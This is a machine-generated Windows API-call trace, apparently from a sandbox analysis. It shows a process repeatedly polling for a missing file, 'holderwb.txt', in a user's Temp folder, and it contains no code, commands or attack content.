	[0099.340] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.340] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.340] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.341] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.341] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.341] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.341] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.341] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.341] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.341] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.342] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.342] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.342] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.342] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.342] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.342] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.342] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.343] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.343] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.343] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.343] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.343] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.344] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.344] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.344] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.345] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.345] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.345] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.345] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.345] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.345] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.346] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.346] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.346] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.346] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.346] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.346] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.346] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.347] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.347] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.347] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.347] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.347] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.347] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.348] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.348] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.348] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.348] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.349] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.349] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.349] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.349] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.350] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.350] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.350] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.350] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.350] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.350] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.350] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.351] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.351] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.351] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.351] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.351] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.351] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.351] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.352] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.352] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.352] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.352] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.352] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.352] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.353] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.353] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.353] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.353] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.354] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
